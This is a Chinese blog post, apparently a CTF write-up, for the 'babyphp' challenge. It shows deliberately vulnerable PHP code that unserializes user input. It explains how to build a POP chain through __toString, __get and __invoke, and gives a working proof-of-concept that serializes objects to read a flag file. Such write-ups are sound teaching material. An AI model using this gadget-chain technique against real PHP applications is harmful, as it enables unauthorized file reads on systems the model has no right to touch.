• 京津冀大学生竞赛:babyphp


    京津冀大学生竞赛:babyphp

    比赛的时候没做出来,回来以后一会就做出来了,难受。。。还是基本功不扎实,都不记得__invoke怎么触发的了

    放上源码

    <?php
    error_reporting(1);
    class Read {
        public $var;
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    
        public function __invoke(){
            $content = $this->file_get($this->var);
            echo $content;
        }
    }
    
    class Show
    {
        public $source;
        public $str;
        public function __construct($file='index.php')
        {
            $this->source = $file;
            echo $this->source.'瑙f瀽寮€濮?'."<br>";
        }
    
        public function __toString()
        {
            $this->str['str']->source;
        }
    
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|..|fllllllaaaaaag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
    
        }
    
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    
    class Test
    {
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
    
        public function __get($key)
        {
            $func = $this->params;
            return $func();
        }
    }
    
    if(isset($_GET['chal']))
    {
        $chal = unserialize($_GET['chal']);
    }
    else
    {
        $show = new Show('index.php');
        $show->_show();
    }
    

    官方给的hint是

    babyphp提示:php反序列化链构造、魔术方法__toString、__wakeup()、__invoke()、__get()

    其实没什么用,很明显是反序列化。关键是pop链的构造思路。
    我找pop链的思路一般是

    • 1、找__destruct()__toString()这样容易触发反序列化的魔术方法,这是pop链的起点
    • 2、找能利用来getflag的函数,例如file_get_contents()这种,这是pop链的终点
    • 3、最后从终点慢慢一环一环往回推,推回起点就成功构造出pop链

    本题中pop链的起点应该是Show::__toString(),然后寻找可用的echo,第一眼看到的就还是Show::__construct(),还有一处Read::__invoke中的echo其实是最后getflag的地方。我们带着这个思路走下去,那么Read::__invoke就是pop链的终点。

    __invoke()触发条件是

    当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

    可以发现Test::__get()中有

    $func = $this->params;
    return $func();
    

    继续回推,__get()的触发方法是

    读取不可访问属性的值时,__get() 会被调用。

    我们发现Show::__toString()中有$this->str['str']->source;,完美
    最终poc如下

    <?php
    error_reporting(3);
    class Read {
        public $var;
    }
    
    class Show
    {
        public $source;
        public $str;
    }
    
    class Test
    {
        public $params;
    }
    
    $c = new Read();
    $c->var = 'fllllllaaaaaag';
    $b = new Test();
    $b->params = $c;
    $d = new Show();
    $d->str = array('str'=>$b);
    $a = new Show();
    $a->source = $d;
    
    echo serialize($a);
    
  • 相关阅读:
    SQLServer 高可用、高性能和高保护延伸
    SQLServer 通过DMV实现低影响的自动监控和历史场景追溯
    查找表包含的页和页所在的表
    出身在二三线城市软件工作者的悲哀
    SQL语句实现取消自增列属性
    基于Apache(without ssl)的svn环境搭建
    sqlite3 命令行操作
    HTML常用特殊符号集
    IOS项目目录结构和开发流程
    Mac OSX 快捷键&命令行
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11560311.html
Copyright © 2020-2023  润新知